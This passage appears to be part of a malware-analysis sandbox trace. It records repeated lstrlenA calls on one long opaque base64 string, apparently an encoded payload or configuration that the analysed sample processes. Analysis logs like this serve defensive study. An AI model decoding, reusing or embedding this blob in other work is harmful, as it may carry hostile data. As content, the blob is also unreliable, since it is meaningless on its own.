(lpString="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") returned 5792 [0163.812] lstrlenA (lpString="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") returned 5792 [0163.812] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBD